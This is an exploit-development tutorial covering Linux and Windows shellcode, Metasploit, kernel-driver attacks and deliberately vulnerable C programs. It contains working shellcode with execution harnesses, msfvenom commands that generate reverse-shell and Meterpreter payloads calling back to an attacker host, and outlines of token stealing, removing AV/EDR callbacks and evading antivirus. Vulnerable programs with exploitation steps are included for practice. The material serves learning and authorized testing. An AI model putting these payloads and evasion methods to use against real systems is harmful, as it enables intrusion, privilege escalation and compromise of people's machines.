# Shellcode

## The Complete Shellcode & Vulnerability Development Reference Guide

*From Assembly to Kernel Drivers: A Comprehensive Journey*

***

### Table of Contents

1. Introduction
2. Linux Shellcode Development
3. Windows Shellcode Development
4. Metasploit Workflow
5. Kernel Driver Exploitation
6. Creating Vulnerable Software
7. Debugging & Analysis Tools
8. Common Pitfalls & Solutions

***

### Introduction

This guide documents the complete process of shellcode development, from basic assembly to advanced kernel-level exploitation. Whether you're a beginner learning buffer overflows or an experienced researcher developing custom exploits, this reference provides the foundational knowledge and practical examples needed to understand and create working shellcode.

#### Key Concepts

* **Shellcode**: Position-independent machine code that executes a desired payload
* **System Calls**: The interface between user space and kernel functionality
* **API Resolution**: The process of dynamically finding function addresses in memory
* **Bad Characters**: Bytes that would break the shellcode in specific contexts

***

### Linux Shellcode Development

#### Basic Linux execve("/bin/sh") Shellcode

**Assembly Code**

nasm

```
section .text
    global _start

_start:
    ; Clear registers to avoid null bytes
    xor eax, eax        ; Clear EAX
    mov al, 0x0b        ; Syscall number for execve (11)

    ; Build "/bin/sh" string on stack
    push eax            ; Null terminator
    push 0x68732f2f     ; "hs//" (little-endian)
    push 0x6e69622f     ; "nib/" (little-endian)

    ; Set up registers for syscall
    mov ebx, esp        ; EBX points to "/bin/sh" string
    xor ecx, ecx        ; ECX = NULL (argv)
    xor edx, edx        ; EDX = NULL (envp)

    int 0x80            ; Trigger syscall interrupt
```

**Compilation and Extraction**

bash

```
# Assemble the code
nasm -f elf32 shellcode.asm -o shellcode.o

# Link for testing
ld -m elf_i386 shellcode.o -o shellcode

# Extract opcodes
objdump -d shellcode.o
```

**Resulting Shellcode**

text

```
\x31\xc0\xb0\x0b\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80
```

**Testing Shellcode**

c

```
#include <stdio.h>

char code[] = \
"\x31\xc0\xb0\x0b\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

int main() {
    printf("Shellcode length: %d bytes\n", (int)sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
    return 0;
}
```

**Compile with:** `gcc -m32 -z execstack -fno-stack-protector test_shellcode.c -o test_shellcode`

#### Null-Free Optimized Version

nasm

```
section .text
    global _start

_start:
    ; Clear registers without null bytes
    xor ecx, ecx        ; ECX = 0
    mul ecx             ; EAX * ECX -> zeros EAX and EDX

    mov al, 0xb         ; Syscall number

    ; Push string without null bytes
    push ecx            ; Push 0 using cleared register
    push 0x68732f2f     ; "hs//"
    push 0x6e69622f     ; "nib/"

    mov ebx, esp        ; EBX points to string
    int 0x80            ; Syscall
```

***

### Windows Shellcode Development

#### Key Differences from Linux

1. **No Direct Syscalls**: Must call Windows API functions
2. **Dynamic API Resolution**: Addresses change due to ASLR
3. **PEB Walking**: Technique to find DLL base addresses
4. **API Hashing**: Using hashes instead of string names

#### Windows execve Equivalent: WinExec

**High-Level Plan**

c

```
// What we want to achieve
WinExec("calc.exe", 1);
ExitProcess(0);  // Optional but recommended
```

#### Manual PEB Walking Approach

**Conceptual Assembly Structure**

nasm

```
start:
    ; --- 1. Find kernel32.dll base address ---
    xor ecx, ecx
    mov esi, [fs:ecx + 0x30]    ; PEB pointer
    mov esi, [esi + 0x0C]       ; PEB->Ldr
    mov esi, [esi + 0x14]       ; First module (ntdll.dll)
    mov esi, [esi]              ; Second module (kernel32.dll)
    mov ebx, [esi + 0x10]       ; EBX = kernel32.dll base

    ; --- 2. Find WinExec by hash ---
    mov edx, 0x876F8B31         ; Hash of "WinExec"
    call find_function_by_hash

    ; --- 3. Call WinExec ---
    xor edx, edx
    push edx                    ; Null terminator
    push 0x6578652e             ; "exe."
    push 0x636c6163             ; "clac" ("calc" reversed)
    mov ecx, esp                ; ECX points to "calc.exe"

    push 1                      ; uCmdShow = SW_SHOWNORMAL
    push ecx                    ; lpCmdLine = "calc.exe"
    call eax                    ; Call WinExec

find_function_by_hash:
    ; Complex EAT parsing code
    ; EBX = DLL base, EDX = hash
    ; Returns function address in EAX
    ret
```

#### Practical Metasploit Approach

**Installing Metasploit (Without Snap)**

bash

```
# Download official installer
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

# Make executable and run
chmod +x msfinstall
sudo ./msfinstall
```

**Generating Windows Shellcode**

bash

```
msfvenom -p windows/exec CMD=calc.exe -f c -a x86 --platform windows -b '\x00'
```

**Flags Explanation:**

* `-p windows/exec`: Payload that executes a command
* `CMD=calc.exe`: Command to execute
* `-f c`: Output format (C array)
* `-a x86`: Architecture (32-bit)
* `--platform windows`: Target platform
* `-b '\x00'`: Remove null bytes (common bad character)

**Example Output**

c

```
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
```

**Windows Shellcode Testing Program**

c

```
#include <windows.h>
#include <stdio.h>

// Paste your msfvenom output here
unsigned char code[] = \
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int main() {
    printf("Shellcode length: %d bytes\n", (int)sizeof(code));
    
    // Allocate executable memory
    void *exec_mem = VirtualAlloc(0, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (exec_mem == NULL) {
        printf("VirtualAlloc failed!\n");
        return -1;
    }
    
    // Copy shellcode to executable memory
    RtlMoveMemory(exec_mem, code, sizeof(code));
    
    // Execute
    printf("Executing shellcode...\n");
    int (*func)() = (int(*)())exec_mem;
    func();
    
    printf("Done!\n");
    return 0;
}
```

**Compile with:** `gcc test_shellcode.c -o test_shellcode.exe`

***

### Metasploit Workflow

#### Common msfvenom Payloads

**Windows Payloads**

bash

```
# Basic calc execution
msfvenom -p windows/exec CMD=calc.exe -f c -a x86 --platform windows

# Reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -a x86

# Meterpreter reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -a x86
```

**Linux Payloads**

bash

```
# Linux exec
msfvenom -p linux/x86/exec CMD=/bin/sh -f c -a x86 --platform linux

# Linux reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c -a x86
```

**Output Formats**

bash

```
-f c          # C array
-f python     # Python bytes
-f raw        # Raw binary
-f exe        # Windows executable
-f elf        # Linux ELF binary
```

***

### Kernel Driver Exploitation

#### Why Use Kernel Drivers?

Kernel drivers (Ring 0) have complete system authority, enabling capabilities impossible in user mode:

#### Common Kernel Driver Techniques

**1. Disabling Security Mechanisms**

c

```
// Conceptual examples - actual implementation varies
DisablePatchguard();    // Bypass Kernel Patch Protection
DisableDSE();           // Bypass Driver Signature Enforcement
UnregisterCallbacks();  // Remove AV/EDR kernel callbacks
```

**2. Token Stealing Payload**

The classic privilege escalation technique:

**Conceptual Process:**

1. Find `EPROCESS` structure for `System` process (PID 4)
2. Find `EPROCESS` structure for target process (e.g., cmd.exe)
3. Copy the security `Token` from System to target process
4. Target process now runs as `NT AUTHORITY\SYSTEM`

**3. Direct Memory Manipulation**

c

```
// Kernel drivers can read/write any process memory
ReadProcessMemory(any_pid, any_address, buffer, size);
WriteProcessMemory(any_pid, any_address, shellcode, size);
```

#### Kernel Driver Challenges

1. **Patchguard (KPP)**: Must be bypassed on 64-bit Windows
2. **Driver Signature Enforcement (DSE)**: Requires signed drivers or bypasses
3. **Hypervisor-Protected Code Integrity (HVCI)**: Additional memory protection
4. **Kernel Patch Protection**: Prevents modification of core kernel structures

#### Practical Considerations

* Use **Vulnerable Driver** for testing (like Intel `iqvw64e.sys`)
* Test in **VM with protections disabled** initially
* Consider **DSE bypass techniques** for research
* Always use **development/test environments**

***

### Creating Vulnerable Software

Building custom vulnerable applications is crucial for understanding exploitation techniques in isolation.

#### 1. Stack-Based Buffer Overflow

**Vulnerable Code**

c

```
#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking!
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}
```

**Compilation Flags:**

bash

```
gcc -m32 -fno-stack-protector -z execstack vuln.c -o vuln
```

**Exploitation Steps:**

1. Crash with long input: `./vuln $(python -c "print 'A'*100")`
2. Find EIP overwrite offset
3. Replace with shellcode address

#### 2. Format String Vulnerability

**Vulnerable Code**

c

```
#include <stdio.h>

int main(int argc, char *argv[]) {
    if (argc > 1) {
        printf(argv[1]);  // User input as format string!
        printf("\n");
    }
    return 0;
}
```

**Exploitation:**

* Read memory: `%x %x %x %x`
* Write to memory: `%n` format specifier
* Overwrite GOT entries

#### 3. Heap Overflow / Use-After-Free

**Vulnerable Code**

c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct object {
    char name[32];
    void (*print_name)(struct object*);
};

void print_object_name(struct object *obj) {
    printf("Name: %s\n", obj->name);
}

int main() {
    struct object *obj1 = malloc(sizeof(struct object));
    struct object *obj2 = malloc(sizeof(struct object));
    
    strcpy(obj1->name, "First Object");
    obj1->print_name = print_object_name;
    
    // Free the object
    free(obj1);
    
    // Use after free - vulnerability!
    obj1->print_name(obj1);
    
    return 0;
}
```

#### 4. Integer Overflow

**Vulnerable Code**

c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void process_data(char *data, unsigned int len) {
    // Integer overflow vulnerability
    unsigned int buffer_size = len + 10;
    char *buffer = malloc(buffer_size);
    
    if (buffer) {
        // Potential buffer overflow if len + 10 wraps around
        memcpy(buffer, data, len);
        buffer[len] = '\0';
        printf("Processed: %s\n", buffer);
        free(buffer);
    }
}

int main() {
    char data[100];
    unsigned int length;
    
    printf("Enter length: ");
    scanf("%u", &length);
    
    printf("Enter data: ");
    read(0, data, 100);
    
    process_data(data, length);
    return 0;
}
```

***

### Advanced Protection Bypasses

#### Modern Exploitation Challenges

**1. Data Execution Prevention (DEP)**

**Problem:** Stack/Heap not executable\
**Solution:** Return-Oriented Programming (ROP)

bash

```
# Compile without execstack
gcc -m32 -fno-stack-protector vuln.c -o vuln_dep
```

**2. Address Space Layout Randomization (ASLR)**

**Problem:** Memory addresses randomized\
**Solution:** Information leaks to defeat randomization

bash

```
# Enable ASLR (Linux)
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```

**3. Stack Canaries**

**Problem:** Stack corruption detection\
**Solution:** Leak canary value or bypass check

bash

```
# Compile with stack protector
gcc -m32 vuln.c -o vuln_canary
```

**4. Control Flow Integrity (CFI)**

**Problem:** Indirect call validation\
**Solution:** Advanced ROP techniques, JOP/COP

#### Protection Matrix

| Protection   | Compiler Flag       | Bypass Technique     |
| ------------ | ------------------- | -------------------- |
| DEP          | `-z noexecstack`    | ROP chains           |
| Stack Canary | `-fstack-protector` | Canary leakage       |
| ASLR         | System setting      | Information leak     |
| PIE          | `-fPIE -pie`        | Base calculation     |
| RELRO        | `-z relro`          | GOT overwrite timing |

***

### Debugging & Analysis Tools

#### Essential Tools Checklist

**Linux Tools**

bash

```
# Debuggers
gdb                 # GNU Debugger
gdb with gef/pwndbg # Enhanced GDB plugins

# Disassemblers
objdump -d          # Object file disassembly
radare2             # Advanced reverse engineering

# Analysis
strace              # System call tracing
ltrace              # Library call tracing

# Memory analysis
gcore               # Core dump generation
```

**Windows Tools**

bash

```
# Debuggers
x64dbg              # User-mode debugger
WinDbg              # Microsoft debugger (kernel/user)

# Analysis
Process Explorer    # Process monitoring
Process Monitor     # Real-time system monitoring
API Monitor         # API call tracing
```

**Cross-Platform**

bash

```
# Analysis
strace/ltrace       # Linux system/library calls
Wireshark           # Network analysis
```

#### GDB Enhanced with GEF/Pwndbg

bash

```
# Install GEF
wget -q -O ~/.gdbinit-gef.py https://github.com/hugsy/gef/raw/master/gef.py
echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit

# Common commands
gdb ./vuln
run $(python -c "print 'A'*100")
info registers
x/20wx $esp
pattern create 100
pattern offset $eip
```

#### Practical Debugging Workflow

1. **Crash Reproduction**: Trigger the vulnerability
2. **Control Verification**: Confirm EIP control
3. **Bad Character Analysis**: Test shellcode bytes
4. **Exploit Development**: Build working payload
5. **Reliability Testing**: Ensure consistent execution

***

### Common Pitfalls & Solutions

#### Problem: Shellcode Contains Null Bytes

**Solution:**

* Use register clearing with `xor reg, reg`
* Avoid instructions that generate nulls
* Use `msfvenom -b '\x00'` for automatic encoding

#### Problem: Shellcode Crashes

**Solution:**

* Check for bad characters in target context
* Verify stack alignment
* Ensure proper memory permissions

#### Problem: Address Changes Between Runs (ASLR)

**Solution:**

* Use information leaks to calculate addresses
* Implement ROP chains
* Use relative addressing where possible

#### Problem: Antivirus Detection

**Solution:**

* Custom shellcode encoding
* Obfuscation techniques
* Living-off-the-land binaries (LOLBins)

#### Problem: Modern Protections

**Solution:**

* Combine multiple bypass techniques
* Use information disclosure vulnerabilities
* Chain multiple vulnerabilities together

***

### Quick Reference Commands

#### Essential Compilation Flags

bash

```
# 32-bit, no protections (learning)
gcc -m32 -fno-stack-protector -z execstack vuln.c -o vuln

# 32-bit with DEP
gcc -m32 -fno-stack-protector vuln.c -o vuln_dep

# 32-bit with all protections
gcc -m32 vuln.c -o vuln_secure

# 64-bit
gcc -fno-stack-protector -z execstack vuln.c -o vuln64
```

#### Metasploit Quick Reference

bash

```
# Install
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall

# Generate payloads
msfvenom -p windows/exec CMD=calc.exe -f c -a x86 -b '\x00'
msfvenom -p linux/x86/exec CMD=/bin/sh -f c -a x86
msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -f exe > payload.exe
```

#### Debugging Commands

bash

```
# Linux debugging
gdb ./program
run $(python -c "print 'A'*100")
info registers
x/10wx $esp

# Windows testing
gcc test_shellcode.c -o test_shellcode.exe
# Disable AV temporarily for testing!
```

***

### Conclusion

This comprehensive guide covers the complete journey from basic shellcode development to advanced kernel-level exploitation. The key to mastery is practice - start with simple stack overflows, progress through modern protections, and eventually tackle real-world exploitation scenarios.

Remember: Always conduct security research in appropriate environments with proper authorization. This knowledge is powerful and should be used responsibly for education, defense, and authorized testing purposes.
